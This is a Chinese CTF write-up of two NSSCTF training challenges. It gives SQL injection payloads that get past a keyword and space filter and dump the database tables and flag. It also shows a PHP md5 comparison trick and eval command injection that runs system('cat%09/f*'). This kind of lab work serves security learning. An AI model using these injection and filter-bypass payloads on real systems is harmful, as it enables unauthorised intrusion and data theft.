NSSCTF做题(10)

叫10好听一点,就是补9的 第7页的内容

[SWPUCTF 2022 新生赛]ez_sql

get传参说是不安全,那就只能用post了

有回显了,两个假的flag

发现万能密码 1' or 1=1#变成了 1=1# 1=1# 1 1=1#=1# 1=1# 1=1#

发现or和空格都无了,union也过滤

空格可以用/**/来代替,union可以双写绕过

知道了大概的过滤,就直接开注

nss=2'/**/ununionion/**/select/**/1,2,3;#

成功绕过,回显位 2,3

查库:nss=2'/**/ununionion/**/select/**/1,database(),3;#

查表:nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

查字段:nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

查数据:nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;# 得到flag

[SWPUCTF 2022 新生赛]webdog1__start

f12看源码 源代码里边的

复制代码
<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

传参,md5值相等,试着用数组绕过结果不行,那就用科学计数法

?web=0e215962017

还是查看源代码,得到robots.txt提示,访问得到一堆乱码,还有一个fl4g.php

不说了直接访问

源代码里也没什么东西,抓个包看看,发现有提示

访问一下F1l1l1l1l1lag.php,代码审计

  1. isset($_GET['get'])检查是否存在名为的GET参数。

  2. 如果参数存在,将其赋值给变量。

  3. strstr($get, " ")检查中是否包含空格。

  4. 如果中不包含空格,使用函数将中的所有"flag"替换为空格。这可能是为了防止对flag进行直接访问。

  5. 如果的长度大于18个字符,输出"This is too long."并终止脚本的执行。

  6. 如果的长度小于等于18个字符,使用函数执行中的内容。函数可以执行字符串形式的PHP代码。

  7. 如果中包含空格,输出"nonono"并终止脚本的执行

可以看到有eval函数,命令执行没得跑了 输入命令?get=system('ls');

看到了flag.php 尝试访问,绕过空格的方法,绕过flag就可以用通配符/f*来绕过

得到flag ?get=system('cat%09/f*');

相关推荐
ceclar12310 小时前
C++容器queue
开发语言·c++
陈皮话梅糖@10 小时前
Speckit和Claude 的初体验
开发语言·ide
遥远_10 小时前
电商履约大促峰值应对:核心业务数据预热方案详解
java·spring·1024程序员节·电商大促·数据预热
屈冠成10 小时前
C语言数组:编辑世界的坚固桥梁
c语言·开发语言·算法
lemon_sjdk10 小时前
每天学习一个新注解——@SafeVarargs
java
RoboWizard10 小时前
电脑效能跃升利器 金士顿KVR内存焕新机
java·spring·智能手机·电脑·金士顿
zzzyyy53810 小时前
STL简介
开发语言·c++
微露清风10 小时前
系统性学习C++-第七讲-string类
java·c++·学习
艾莉丝努力练剑10 小时前
【C++:继承】C++面向对象继承全面解析:派生类构造、多继承、菱形虚拟继承与设计模式实践
linux·开发语言·c++·人工智能·stl·1024程序员节
报错小能手11 小时前
项目——基于C/S架构的预约系统平台(3)
linux·开发语言·笔记·学习·架构·1024程序员节